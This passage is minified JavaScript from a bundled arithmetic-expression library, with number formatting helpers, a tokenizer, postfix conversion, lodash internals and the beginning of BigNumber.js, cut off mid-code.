is_null(e){return null===e}function not_null(e){return null!==e}function is_number(e){return"number"==typeof e||is_str_number(e)}function is_str_number(e){return"string"==typeof e&&!!RegexNumber.test(e)}function split_unit_num(e){for(var t,r=null,a=null,n=[/^([+-]?[\d.]+(?:e|E)(?:\+|-)?\d+)(.*)$/,/^([+-]?[\d.]+)(.*)$/],o=0;o<n.length;o++){var i=e.match(n[o]);if(i){t=i;break}}if(t){a=t[1];var s=t[2];""!==s.trim()&&(r=s)}return{num:a,unit:r}}function parse_mantissa(e,t,r,a){var n=e.split("."),o=n[0],i=1===n.length?"":n[1],s=decimal_round(o,i,t,+r,a);return o=s.int_part,""===(i=s.dec_part)?o:"".concat(o,".").concat(i)}function parse_thousands(e){var t=e.split(".");if(t.length>1){var r=t[0];r.includes("-")?t[0]=r[0]+r.slice(1).replace(/(?=(?!^)(?:\d{3})+$)/g,","):t[0]=r.replace(/(?=(?!^)(?:\d{3})+$)/g,","),e=t.join(".")}else{var a=t[0];e=a.includes("-")?a[0]+a.slice(1).replace(/(?=(?!^)(?:\d{3})+$)/g,","):a.replace(/(?=(?!^)(?:\d{3})+$)/g,",")}return e}function promise_queue(e){return _promise_queue.apply(this,arguments)}function _promise_queue(){return _promise_queue=_asyncToGenerator(_regeneratorRuntime().mark((function e(t){var r,a,n,o=arguments;return _regeneratorRuntime().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:r=o.length>1&&void 0!==o[1]?o[1]:5e3,a=0;case 2:if(!(a<t.length)){e.next=16;break}return e.prev=3,e.next=6,Promise.race([t[a],new Promise((function(e,t){setTimeout((function(){return t(new Error("promise queue timeout err"))}),r)}))]);case 6:n=e.sent,e.next=12;break;case 9:return e.prev=9,e.t0=e.catch(3),e.abrupt("continue",13);case 12:return e.abrupt("return",n);case 13:a++,e.next=2;break;case 16:return e.abrupt("return",Promise.reject("错误的 promise queue 调用"));case 17:case"end":return e.stop()}}),e,null,[[3,9]])}))),_promise_queue.apply(this,arguments)}function test_urls(e){return _test_urls.apply(this,arguments)}function _test_urls(){return(_test_urls=_asyncToGenerator(_regeneratorRuntime().mark((function e(t){var r;return _regeneratorRuntime().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:r=0;case 1:if(!(r<t.length)){e.next=16;break}return e.prev=2,e.next=5,fetch(t[r]);case 5:if(!e.sent.ok){e.next=8;break}return e.abrupt("return",t[r]);case 8:e.next=13;break;case 10:return e.prev=10,e.t0=e.catch(2),e.abrupt("continue",13);case 13:r++,e.next=1;break;case 16:return e.abrupt("return",null);case 17:case"end":return e.stop()}}),e,null,[[2,10]])})))).apply(this,arguments)}function idle(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1e3;return"undefined"!=typeof requestIdleCallback?requestIdleCallback(e):setTimeout(e,t)}var cache_eval={},cache_tokens={},cache_fmt_tokens={},cache_calc={},state$1={initial:"initial",number:"number",variable:"var",symbol:"symbol",percent:"percent",round:"round",plus:"plus",comma:"comma",fraction:"fraction",to_number:"to-number",to_number_string:"to-number-string",scientific:"scientific"},symbol="<>=";function fmt_tokenizer(e){var t=e;if(t in cache_fmt_tokens)return cache_fmt_tokens[t].last_time=(new Date).getTime(),cache_fmt_tokens[t].count++,cache_fmt_tokens[t].value;for(var r=state$1.initial,a=[],n=[];e;){var o=e[0];if(r===state$1.initial)if(/\s/.test(o))e=e.slice(1);else if(symbol.includes(o))r=state$1.symbol,a.push(o),e=e.slice(1);else if(","===o)r=state$1.initial,n.push({type:"comma",value:o}),e=e.slice(1);else if(/[a-zA-Z_]/.test(o))r=state$1.variable,a.push(o),e=e.slice(1);else if(/\d/.test(o))r=state$1.number,a.push(o),e=e.slice(1);else if("+"===o)r=state$1.initial,n.push({type:"plus",value:o}),e=e.slice(1);else if("~"===o)r=state$1.round,a.push(o),e=e.slice(1);else if("%"===o)r=state$1.initial,n.push({type:"percent",value:o}),e=e.slice(1);else if("/"===o)r=state$1.initial,n.push({type:"fraction",value:o}),e=e.slice(1);else{if("!"!==o)throw new Error("不识别的fmt字符:".concat(o));if(r=state$1.initial,/[Ee]/.test(e[1]))n.push({type:"scientific",value:e[1]}),e=e.slice(2);else if(/[Nn]/.test(e[1]))n.push({type:"to-number",value:e[1]}),e=e.slice(2);else{if(!/[Uu]/.test(e[1]))throw new Error("不识别的fmt字符:".concat(e.slice(2)));n.push({type:"to-number-string",value:e[1]}),e=e.slice(2)}}else if(r===state$1.number)/\d/.test(o)?(a.push(o),e=e.slice(1)):(n.push({type:"number",value:a.join("")}),a.length=0,r=state$1.initial);else if(r===state$1.variable)/[\$\w_\-.\[\]"']/.test(o)?(a.push(o),e=e.slice(1)):(n.push({type:"var",value:a.join("")}),a.length=0,r=state$1.initial);else if(r===state$1.symbol){if(/\s/.test(o)){e=e.slice(1);continue}symbol.includes(o)?(a.push(o),e=e.slice(1)):(n.push({type:"symbol",value:a.join("")}),a.length=0,r=state$1.initial)}else{if(r!==state$1.round)throw new Error("错误的自动机状态");if(/\s/.test(o)){e=e.slice(1);continue}if(!("56+-".includes(o)&&a.length<2))throw new Error("舍入格式化语法错误:".concat(o));a.push(o),e=e.slice(1),n.push({type:"round",value:a.join("")}),a.length=0,r=state$1.initial}}if(a.length>0&&(n.push({type:r,value:a.join("")}),a.length=0,r=state$1.initial),n.filter((function(e){return"number"===e.type})).length>1)throw new Error("格式化字符串错误,发现多余的数字");return cache_fmt_tokens[t]={last_time:(new Date).getTime(),count:0,value:n},n}var commonjsGlobal="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function getDefaultExportFromCjs(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var isArray$6=Array.isArray,isArray_1=isArray$6,freeGlobal$1="object"==_typeof(commonjsGlobal)&&commonjsGlobal&&commonjsGlobal.Object===Object&&commonjsGlobal,_freeGlobal=freeGlobal$1,freeGlobal=_freeGlobal,freeSelf="object"==("undefined"==typeof self?"undefined":_typeof(self))&&self&&self.Object===Object&&self,root$8=freeGlobal||freeSelf||Function("return this")(),_root=root$8,root$7=_root,_Symbol2=root$7.Symbol,_Symbol$4=_Symbol2,_Symbol$3=_Symbol$4,objectProto$b=Object.prototype,hasOwnProperty$8=objectProto$b.hasOwnProperty,nativeObjectToString$1=objectProto$b.toString,symToStringTag$1=_Symbol$3?_Symbol$3.toStringTag:void 0;function getRawTag$1(e){var t=hasOwnProperty$8.call(e,symToStringTag$1),r=e[symToStringTag$1];try{e[symToStringTag$1]=void 0;var a=!0}catch(e){}var n=nativeObjectToString$1.call(e);return a&&(t?e[symToStringTag$1]=r:delete e[symToStringTag$1]),n}var _getRawTag=getRawTag$1,objectProto$a=Object.prototype,nativeObjectToString=objectProto$a.toString;function objectToString$1(e){return nativeObjectToString.call(e)}var _objectToString=objectToString$1,_Symbol$2=_Symbol$4,getRawTag=_getRawTag,objectToString=_objectToString,nullTag="[object Null]",undefinedTag="[object Undefined]",symToStringTag=_Symbol$2?_Symbol$2.toStringTag:void 0;function baseGetTag$5(e){return null==e?void 0===e?undefinedTag:nullTag:symToStringTag&&symToStringTag in Object(e)?getRawTag(e):objectToString(e)}var _baseGetTag=baseGetTag$5;function isObjectLike$5(e){return null!=e&&"object"==_typeof(e)}var isObjectLike_1=isObjectLike$5,baseGetTag$4=_baseGetTag,isObjectLike$4=isObjectLike_1,symbolTag$1="[object Symbol]";function isSymbol$3(e){return"symbol"==_typeof(e)||isObjectLike$4(e)&&baseGetTag$4(e)==symbolTag$1}var isSymbol_1=isSymbol$3,isArray$5=isArray_1,isSymbol$2=isSymbol_1,reIsDeepProp=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,reIsPlainProp=/^\w*$/;function isKey$1(e,t){if(isArray$5(e))return!1;var r=_typeof(e);return!("number"!=r&&"symbol"!=r&&"boolean"!=r&&null!=e&&!isSymbol$2(e))||(reIsPlainProp.test(e)||!reIsDeepProp.test(e)||null!=t&&e in Object(t))}var _isKey=isKey$1;function isObject$2(e){var t=_typeof(e);return null!=e&&("object"==t||"function"==t)}var isObject_1=isObject$2,baseGetTag$3=_baseGetTag,isObject$1=isObject_1,asyncTag="[object AsyncFunction]",funcTag$1="[object Function]",genTag="[object GeneratorFunction]",proxyTag="[object Proxy]";function isFunction$2(e){if(!isObject$1(e))return!1;var t=baseGetTag$3(e);return t==funcTag$1||t==genTag||t==asyncTag||t==proxyTag}var isFunction_1=isFunction$2,root$6=_root,coreJsData$1=root$6["__core-js_shared__"],_coreJsData=coreJsData$1,coreJsData=_coreJsData,maskSrcKey=(uid=/[^.]+$/.exec(coreJsData&&coreJsData.keys&&coreJsData.keys.IE_PROTO||""),uid?"Symbol(src)_1."+uid:""),uid;function isMasked$1(e){return!!maskSrcKey&&maskSrcKey in e}var _isMasked=isMasked$1,funcProto$1=Function.prototype,funcToString$1=funcProto$1.toString;function toSource$2(e){if(null!=e){try{return funcToString$1.call(e)}catch(e){}try{return e+""}catch(e){}}return""}var _toSource=toSource$2,isFunction$1=isFunction_1,isMasked=_isMasked,isObject=isObject_1,toSource$1=_toSource,reRegExpChar=/[\\^$.*+?()[\]{}|]/g,reIsHostCtor=/^\[object .+?Constructor\]$/,funcProto=Function.prototype,objectProto$9=Object.prototype,funcToString=funcProto.toString,hasOwnProperty$7=objectProto$9.hasOwnProperty,reIsNative=RegExp("^"+funcToString.call(hasOwnProperty$7).replace(reRegExpChar,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");function baseIsNative$1(e){return!(!isObject(e)||isMasked(e))&&(isFunction$1(e)?reIsNative:reIsHostCtor).test(toSource$1(e))}var _baseIsNative=baseIsNative$1;function getValue$1(e,t){return null==e?void 0:e[t]}var _getValue=getValue$1,baseIsNative=_baseIsNative,getValue=_getValue;function getNative$6(e,t){var r=getValue(e,t);return baseIsNative(r)?r:void 0}var _getNative=getNative$6,getNative$5=_getNative,nativeCreate$4=getNative$5(Object,"create"),_nativeCreate=nativeCreate$4,nativeCreate$3=_nativeCreate;function hashClear$1(){this.__data__=nativeCreate$3?nativeCreate$3(null):{},this.size=0}var _hashClear=hashClear$1;function hashDelete$1(e){var t=this.has(e)&&delete this.__data__[e];return this.size-=t?1:0,t}var _hashDelete=hashDelete$1,nativeCreate$2=_nativeCreate,HASH_UNDEFINED$2="__lodash_hash_undefined__",objectProto$8=Object.prototype,hasOwnProperty$6=objectProto$8.hasOwnProperty;function hashGet$1(e){var t=this.__data__;if(nativeCreate$2){var r=t[e];return r===HASH_UNDEFINED$2?void 0:r}return hasOwnProperty$6.call(t,e)?t[e]:void 0}var _hashGet=hashGet$1,nativeCreate$1=_nativeCreate,objectProto$7=Object.prototype,hasOwnProperty$5=objectProto$7.hasOwnProperty;function hashHas$1(e){var t=this.__data__;return nativeCreate$1?void 0!==t[e]:hasOwnProperty$5.call(t,e)}var _hashHas=hashHas$1,nativeCreate=_nativeCreate,HASH_UNDEFINED$1="__lodash_hash_undefined__";function hashSet$1(e,t){var r=this.__data__;return this.size+=this.has(e)?0:1,r[e]=nativeCreate&&void 0===t?HASH_UNDEFINED$1:t,this}var _hashSet=hashSet$1,hashClear=_hashClear,hashDelete=_hashDelete,hashGet=_hashGet,hashHas=_hashHas,hashSet=_hashSet;function Hash$1(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var a=e[t];this.set(a[0],a[1])}}Hash$1.prototype.clear=hashClear,Hash$1.prototype.delete=hashDelete,Hash$1.prototype.get=hashGet,Hash$1.prototype.has=hashHas,Hash$1.prototype.set=hashSet;var _Hash=Hash$1;function listCacheClear$1(){this.__data__=[],this.size=0}var _listCacheClear=listCacheClear$1;function eq$2(e,t){return e===t||e!=e&&t!=t}var eq_1=eq$2,eq$1=eq_1;function assocIndexOf$4(e,t){for(var r=e.length;r--;)if(eq$1(e[r][0],t))return r;return-1}var _assocIndexOf=assocIndexOf$4,assocIndexOf$3=_assocIndexOf,arrayProto=Array.prototype,splice=arrayProto.splice;function listCacheDelete$1(e){var t=this.__data__,r=assocIndexOf$3(t,e);return!(r<0)&&(r==t.length-1?t.pop():splice.call(t,r,1),--this.size,!0)}var _listCacheDelete=listCacheDelete$1,assocIndexOf$2=_assocIndexOf;function listCacheGet$1(e){var t=this.__data__,r=assocIndexOf$2(t,e);return r<0?void 0:t[r][1]}var _listCacheGet=listCacheGet$1,assocIndexOf$1=_assocIndexOf;function listCacheHas$1(e){return assocIndexOf$1(this.__data__,e)>-1}var _listCacheHas=listCacheHas$1,assocIndexOf=_assocIndexOf;function listCacheSet$1(e,t){var r=this.__data__,a=assocIndexOf(r,e);return a<0?(++this.size,r.push([e,t])):r[a][1]=t,this}var _listCacheSet=listCacheSet$1,listCacheClear=_listCacheClear,listCacheDelete=_listCacheDelete,listCacheGet=_listCacheGet,listCacheHas=_listCacheHas,listCacheSet=_listCacheSet;function ListCache$4(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var a=e[t];this.set(a[0],a[1])}}ListCache$4.prototype.clear=listCacheClear,ListCache$4.prototype.delete=listCacheDelete,ListCache$4.prototype.get=listCacheGet,ListCache$4.prototype.has=listCacheHas,ListCache$4.prototype.set=listCacheSet;var _ListCache=ListCache$4,getNative$4=_getNative,root$5=_root,Map$3=getNative$4(root$5,"Map"),_Map=Map$3,Hash=_Hash,ListCache$3=_ListCache,Map$2=_Map;function mapCacheClear$1(){this.size=0,this.__data__={hash:new Hash,map:new(Map$2||ListCache$3),string:new Hash}}var _mapCacheClear=mapCacheClear$1;function isKeyable$1(e){var t=_typeof(e);return"string"==t||"number"==t||"symbol"==t||"boolean"==t?"__proto__"!==e:null===e}var _isKeyable=isKeyable$1,isKeyable=_isKeyable;function getMapData$4(e,t){var r=e.__data__;return isKeyable(t)?r["string"==typeof t?"string":"hash"]:r.map}var _getMapData=getMapData$4,getMapData$3=_getMapData;function mapCacheDelete$1(e){var t=getMapData$3(this,e).delete(e);return this.size-=t?1:0,t}var _mapCacheDelete=mapCacheDelete$1,getMapData$2=_getMapData;function mapCacheGet$1(e){return getMapData$2(this,e).get(e)}var _mapCacheGet=mapCacheGet$1,getMapData$1=_getMapData;function mapCacheHas$1(e){return getMapData$1(this,e).has(e)}var _mapCacheHas=mapCacheHas$1,getMapData=_getMapData;function mapCacheSet$1(e,t){var r=getMapData(this,e),a=r.size;return r.set(e,t),this.size+=r.size==a?0:1,this}var _mapCacheSet=mapCacheSet$1,mapCacheClear=_mapCacheClear,mapCacheDelete=_mapCacheDelete,mapCacheGet=_mapCacheGet,mapCacheHas=_mapCacheHas,mapCacheSet=_mapCacheSet;function MapCache$3(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var a=e[t];this.set(a[0],a[1])}}MapCache$3.prototype.clear=mapCacheClear,MapCache$3.prototype.delete=mapCacheDelete,MapCache$3.prototype.get=mapCacheGet,MapCache$3.prototype.has=mapCacheHas,MapCache$3.prototype.set=mapCacheSet;var _MapCache=MapCache$3,MapCache$2=_MapCache,FUNC_ERROR_TEXT="Expected a function";function memoize$1(e,t){if("function"!=typeof e||null!=t&&"function"!=typeof t)throw new TypeError(FUNC_ERROR_TEXT);var r=function r(){var a=arguments,n=t?t.apply(this,a):a[0],o=r.cache;if(o.has(n))return o.get(n);var i=e.apply(this,a);return r.cache=o.set(n,i)||o,i};return r.cache=new(memoize$1.Cache||MapCache$2),r}memoize$1.Cache=MapCache$2;var memoize_1=memoize$1,memoize=memoize_1,MAX_MEMOIZE_SIZE=500;function memoizeCapped$1(e){var t=memoize(e,(function(e){return r.size===MAX_MEMOIZE_SIZE&&r.clear(),e})),r=t.cache;return t}var _memoizeCapped=memoizeCapped$1,memoizeCapped=_memoizeCapped,rePropName=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g,reEscapeChar=/\\(\\)?/g,stringToPath$1=memoizeCapped((function(e){var t=[];return 46===e.charCodeAt(0)&&t.push(""),e.replace(rePropName,(function(e,r,a,n){t.push(a?n.replace(reEscapeChar,"$1"):r||e)})),t})),_stringToPath=stringToPath$1;function arrayMap$1(e,t){for(var r=-1,a=null==e?0:e.length,n=Array(a);++r<a;)n[r]=t(e[r],r,e);return n}var _arrayMap=arrayMap$1,_Symbol$1=_Symbol$4,arrayMap=_arrayMap,isArray$4=isArray_1,isSymbol$1=isSymbol_1,INFINITY$1=1/0,symbolProto$1=_Symbol$1?_Symbol$1.prototype:void 0,symbolToString=symbolProto$1?symbolProto$1.toString:void 0;function baseToString$1(e){if("string"==typeof e)return e;if(isArray$4(e))return arrayMap(e,baseToString$1)+"";if(isSymbol$1(e))return symbolToString?symbolToString.call(e):"";var t=e+"";return"0"==t&&1/e==-INFINITY$1?"-0":t}var _baseToString=baseToString$1,baseToString=_baseToString;function toString$1(e){return null==e?"":baseToString(e)}var toString_1=toString$1,isArray$3=isArray_1,isKey=_isKey,stringToPath=_stringToPath,toString=toString_1;function castPath$1(e,t){return isArray$3(e)?e:isKey(e,t)?[e]:stringToPath(toString(e))}var _castPath=castPath$1,isSymbol=isSymbol_1,INFINITY=1/0;function toKey$1(e){if("string"==typeof e||isSymbol(e))return e;var t=e+"";return"0"==t&&1/e==-INFINITY?"-0":t}var _toKey=toKey$1,castPath=_castPath,toKey=_toKey;function baseGet$1(e,t){for(var r=0,a=(t=castPath(t,e)).length;null!=e&&r<a;)e=e[toKey(t[r++])];return r&&r==a?e:void 0}var _baseGet=baseGet$1,baseGet=_baseGet;function get(e,t,r){var a=null==e?void 0:baseGet(e,t);return void 0===a?r:a}var get_1=get,get$1=getDefaultExportFromCjs(get_1);function parse_args(e){var t="",r=e[0],a=e[1],n={origin_expr:r,origin_fill_data:a,expr:"",fmt_tokens:null,options:null,fmt_err:!1,expr_err:!1};not_undefined(a)&&(n.options=a);var o=get$1(a,"_error",!1);if(0===e.length)throw new Error("至少传入一个参数");if("string"==typeof r){if(t=r,""===r.trim()||r.includes("NaN"))return n.expr_err=!0,n}else{if("number"!=typeof r){if(!0===o)return n.expr_err=!0,n;throw new Error("错误的第一个参数类型: ".concat(r," 类型为:").concat(_typeof(r)))}t=r.toString()}var i=t.split("|");if(n.expr=i[0],i.length>1){var s=i[1];if(""!==s.trim())try{n.fmt_tokens=fmt_tokenizer(s)}catch(e){return n.fmt_err=!0,n}}if(null!==n.options&&n.options._fmt){var c=[];try{c=fmt_tokenizer(n.options._fmt)}catch(e){return n.fmt_err=!0,n}if(null===n.fmt_tokens)n.fmt_tokens=c;else{var l=n.fmt_tokens.map((function(e){return e.type}));c.forEach((function(e){l.includes(e.type)||n.fmt_tokens.push(e)}))}}return n}var state={initial:"initial",number:"number",scientific:"scientific",operator:"operator",bracket:"bracket",var:"var"},signed="+-",operator="*/%",brackets="()";function tokenizer(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],r="".concat(e,",").concat(t);if(r in cache_tokens)return cache_tokens[r].last_time=(new Date).getTime(),cache_tokens[r].count++,cache_tokens[r].value;for(var a,n=state.initial,o=[],i=[],s=function(){o.push(a),e=e.slice(1)},c=function(e){i.push({type:e,value:o.join("")}),o.length=0},l=function(){e=e.slice(1)};e;)switch(a=e[0],n){case state.initial:if(signed.includes(a)){var u=i.at(-1);0===i.length||"operator"===u.type||"("===u?(n=state.number,s()):(n=state.operator,s())}else if(operator.includes(a))n=state.operator,s();else if(/\d/.test(a))n=state.number,s();else if(brackets.includes(a))n=state.bracket;else if(/[a-zA-Z_$]/.test(a))n=state.var,s();else{if(!/\s/.test(a))throw new Error("不识别的字符".concat(a));l()}break;case state.bracket:i.push({type:state.bracket,value:a}),l(),n=state.initial;break;case state.operator:var f=o.at(-1);"*"===a&&"*"===f&&s(),c(state.operator),n=state.initial;break;case state.number:if(/\d/.test(a))s();else if("."===a){if(0===o.length||o.includes("."))throw new Error("非法的小数部分".concat(o.join("")));s()}else"Ee".includes(a)?(n=state.scientific,s()):["auto","on",!0].includes(t)&&/[^*/+\-()\s]/.test(a)||"space"===t&&/\S/.test(a)?s():(c(state.number),n=state.initial);break;case state.scientific:if(/\d/.test(a))s();else if(signed.includes(a)){var p=o.slice(1),h=o.at(-1);p.includes(a)||!/[Ee]/.test(h)?(c(state.scientific),n=state.initial):s()}else["auto","on",!0].includes(t)&&/[^*/+\-()\s]/.test(a)||"space"===t&&/\S/.test(a)?s():(c(state.scientific),n=state.initial);break;case state.var:/[\w_.\[\]"']/.test(a)?s():(c(state.var),n=state.initial);break;default:throw new Error("状态错误")}return 0!==o.length&&(i.push({type:n,value:o.join("")}),o.length=0,n=state.initial),cache_tokens[r]={last_time:(new Date).getTime(),count:0,value:i},i}function fill_tokens(e,t,r){if(is_null(t))throw new Error("错误的填充数据:",t);for(var a=[],n=0;n<e.length;n++){var o=e[n];if("var"===o.type){if("undefined"===o.value||"NaN"===o.value)throw new Error("key不应该为:".concat(o.value));for(var i=null,s=0;s<t.length;s++){var c=t[s],l=get$1(c,o.value);if(void 0!==l){i=l;break}}if(null===i)throw new Error("token填充失败,请确认".concat(o,"存在"));if("string"==typeof i){if(""===i.trim())throw new Error("token填充失败,".concat(o.value,"值不可为空字符"));if([!0,"on","auto","space"].includes(r)){if(!RegexUnitNumber.test(i))throw new Error("token填充失败,".concat(o.value,"值:").concat(i,"为非法单位数字"))}else if(!is_str_number(i))throw new Error("token填充失败,".concat(o,"值:").concat(i,"为非法数字"))}i="string"!=typeof i?i.toString():i,a.push({type:"number",value:i})}else a.push(o)}return a}function token2postfix(e){for(var t=[],r=[],a=e.map((function(e){return e.value}));a.length>0;){var n=a.shift();if(is_operator(n))if("("===n)t.push(n);else if(")"===n){for(var o=t.pop();"("!==o&&t.length>0;)r.push(o),o=t.pop();if("("!==o)throw"error: unmatched ()"}else{for(;prioraty(n,t[t.length-1])&&t.length>0;)r.push(t.pop());t.push(n)}else r.push(n)}if(t.length>0){if(")"===t[t.length-1]||"("===t[t.length-1])throw"error: unmatched ()";for(;t.length>0;)r.push(t.pop())}return r}var isNumeric=/^-?(?:\d+(?:\.\d*)?|\.\d+)(?:e[+-]?\d+)?$/i,mathceil=Math.ceil,mathfloor=Math.floor,bignumberError="[BigNumber Error] ",tooManyDigits=bignumberError+"Number primitive has more than 15 significant digits: ",BASE=1e14,LOG_BASE=14,MAX_SAFE_INTEGER$2=9007199254740991,POWS_TEN=[1,10,100,1e3,1e4,1e5,1e6,1e7,1e8,1e9,1e10,1e11,1e12,1e13],SQRT_BASE=1e7,MAX=1e9;function clone(e){var t,r,a,n,o,i,s,c,l,u,f=w.prototype={constructor:w,toString:null,valueOf:null},p=new w(1),h=20,_=4,g=-7,y=21,b=-1e7,d=1e7,m=!1,v=1,$=0,A={prefix:"",groupSize:3,secondaryGroupSize:0,groupSeparator:",",decimalSeparator:".",fractionGroupSize:0,fractionGroupSeparator:" ",suffix:""},T="0123456789abcdefghijklmnopqrstuvwxyz",S=!0;function w(e,t){var n,o,i,s,c,l,u,f,p=this;if(!(p instanceof w))return new w(e,t);if(null==t){if(e&&!0===e._isBigNumber)return p.s=e.s,void(!e.c||e.e>d?p.c=p.e=null:e.e<b?p.c=[p.e=0]:(p.e=e.e,p.c=e.c.slice()));if((l="number"==typeof e)&&0*e==0){if(p.s=1/e<0?(e=-e,-1):1,e===~~e){for(s=0,c=e;c>=10;c/=10,s++);return void(s>d?p.c=p.e=null:(p.e=s,p.c=[e]))}f=String(e)}else{if(!isNumeric.test(f=String(e)))return a(p,f,l);p.s=45==f.charCodeAt(0)?(f=f.slice(1),-1):1}(s=f.indexOf("."))>-1&&(f=f.replace(".","")),(c=f.search(/e/i))>0?(s<0&&(s=c),s+=+f.slice(c+1),f=f.substring(0,c)):s<0&&(s=f.length)}else{if(intCheck(t,2,T.length,"Base"),10==t&&S)return C(p=new w(e),h+p.e+1,_);if(f=String(e),l="number"==typeof e){if(0*e!=0)return a(p,f,l,t);if(p.s=1/e<0?(f=f.slice(1),-1):1,w.DEBUG&&f.replace(/^0\.0*|\./,"").length>15)throw Error(tooManyDigits+e)}else p.s=45===f.charCodeAt(0)?(f=f.slice(1),-1):1;for(n=T.slice(0,t),s=c=0,u=f.length;c<u;c++)if(n.indexOf(o=f.charAt(c))<0){if("."==o){if(c>s){s=u;continue}}else if(!i&&(f==f.toUpperCase()&&(f=f.toLowerCase())||f==f.toLowerCase()&&(f=f.toUpperCase()))){i=!0,c=-1,s=0;continue}return a(p,String(e),l,t)}l=!1,(s=(f=r(f,t,10,p.s)).indexOf("."))>-1?f=f.replace(".",""):s=f.length}for(c=0;48===f.charCodeAt(c);c++);for(u=f.length;48===f.charCodeAt(--u););if(f=f.slice(c,++u)){if(u-=c,l&&w.DEBUG&&u>15&&(e>MAX_SAFE_INTEGER$2||e!==mathfloor(e)))throw Error(tooManyDigits+p.s*e);if((s=s-c-1)>d)p.c=p.e=null;else if(s<b)p.c=[p.e=0];else{if(p.e=s,p.c=[],c=(s+1)%LOG_BASE,s<0&&(c+=LOG_BASE),c<u){for(c&&p.c.push(+f.slice(0,c)),u-=LOG_BASE;c<u;)p.c.push(+f.slice(c,c+=LOG_BASE));c=LOG_BASE-(f=f.slice(c)).length}else c-=u;for(;c--;f+="0");p.c.push(+f)}}else p.c=[p.e=0]}function E(e,t,r,a){var n,o,i,s,c;if(null==r?r=_:intCheck(r,0,8),!e.c)return e.toString();if(n=e.c[0],i=e.e,null==t)c=coeffToString(e.c),c=1==a||2==a&&(i<=g||i>=y)?toExponential(c,i):toFixedPoint(c,i,"0");else if(o=(e=C(new w(e),t,r)).e,s=(c=coeffToString(e.c)).length,1==a||2==a&&(t<=o||o<=g)){for(;s<t;c+="0",s++);c=toExponential(c,o)}else if(t-=i,c=toFixedPoint(c,o,"0"),o+1>s){if(--t>0)for(c+=".";t--;c+="0");}else if((t+=o-s)>0)for(o+1==s&&(c+=".");t--;c+="0");return e.s<0&&n?"-"+c:c}function O(e,t){for(var r,a=1,n=new w(e[0]);a<e.length;a++){if(!(r=new w(e[a])).s){n=r;break}t.call(n,r)&&(n=r)}return n}function k(e,t,r){for(var a=1,n=t.length;!t[--n];t.pop());for(n=t[0];n>=10;n/=10,a++);return(r=a+r*LOG_BASE-1)>d?e.c=e.e=null:r<b?e.c=[e.e=0]:(e.e=r,e.c=t),e}function C(e,t,r,a){var n,o,i,s,c,l,u,f=e.c,p=POWS_TEN;if(f){e:{for(n=1,s=f[0];s>=10;s/=10,n++);if((o=t-n)<0)o+=LOG_BASE,i=t,u=(c=f[l=0])/p[n-i-1]%10|0;else if((l=mathceil((o+1)/LOG_BASE))>=f.length){if(!a)break e;for(;f.length<=l;f.push(0));c=u=0,n=1,i=(o%=LOG_BASE)-LOG_BASE+1}else{for(c=s=f[l],n=1;s>=10;s/=10,n++);u=(i=(o%=LOG_BASE)-LOG_BASE+n)<0?0:c/p[n-i-1]%10|0}if(a=a||t<0||null!=f[l+1]||(i<0?c:c%p[n-i-1]),a=r<4?(u||a)&&(0==r||r==(e.s<0?3:2)):u>5||5==u&&(4==r||a||6==r&&(o>0?i>0?c/p[n-i]:0:f[l-1])%10&1||r==(e.s<0?8:7)),t<1||!f[0])return f.length=0,a?(t-=e.e+1,f[0]=p[(LOG_BASE-t%LOG_BASE)%LOG_BASE],e.e=-t||0):f[0]=e.e=0,e;if(0==o?(f.length=l,s=1,l--):(f.length=l+1,s=p[LOG_BASE-o],f[l]=i>0?mathfloor(c/p[n-i]%p[i])*s:0),a)for(;;){if(0==l){for(o=1,i=f[0];i>=10;i/=10,o++);for(i=f[0]+=s,s=1;i>=10;i/=10,s++);o!=s&&(e.e++,f[0]==BASE&&(f[0]=1));break}if(f[l]+=s,f[l]!=BASE)break;f[l--]=0,s=1}for(o=f.length;0===f[--o];f.pop());}e.e>d?e.c=e.e=null:e.e<b&&(e.c=[e.e=0])}return e}function j(e){var t,r=e.e;return null===r?e.toString():(t=coeffToString(e.c),t=r<=g||r>=y?toExponential(t,r):toFixedPoint(t,r,"0"),e.s<0?"-"+t:t)}return w.clone=clone,w.ROUND_UP=0,w.ROUND_DOWN=1,w.ROUND_CEIL=2,w.ROUND_FLOOR=3,w.ROUND_HALF_UP=4,w.ROUND_HALF_DOWN=5,w.ROUND_HALF_EVEN=6,w.ROUND_HALF_CEIL=7,w.ROUND_HALF_FLOOR=8,w.EUCLID=9,w.config=w.set=function(e){var t,r;if(null!=e){if("object"!=_typeof(e))throw Error(bignumberError+"Object expected: "+e);if(e.hasOwnProperty(t="DECIMAL_PLACES")&&(intCheck(r=e[t],0,MAX,t),h=r),e.hasOwnProperty(t="ROUNDING_MODE")&&(intCheck(r=e[t],0,8,t),_=r),e.hasOwnProperty(t="EXPONENTIAL_AT")&&((r=e[t])&&r.pop?(intCheck(r[0],-MAX,0,t),intCheck(r[1],0,MAX,t),g=r[0],y=r[1]):(intCheck(r,-MAX,MAX,t),g=-(y=r<0?-r:r))),e.hasOwnProperty(t="RANGE"))if((r=e[t])&&r.pop)intCheck(r[0],-MAX,-1,t),intCheck(r[1],1,MAX,t),b=r[0],d=r[1];else{if(intCheck(r,-MAX,MAX,t),!r)throw Error(bignumberError+t+" cannot be zero: "+r);b=-(d=r<0?-r:r)}if(e.hasOwnProperty(t="CRYPTO")){if((r=e[t])!==!!r)throw Error(bignumberError+t+" not true or false: "+r);if(r){if("undefined"==typeof crypto||!crypto||!crypto.getRandomValues&&!crypto.randomBytes)throw m=!r,Error(bignumberError+"crypto unavailable");m=r}else 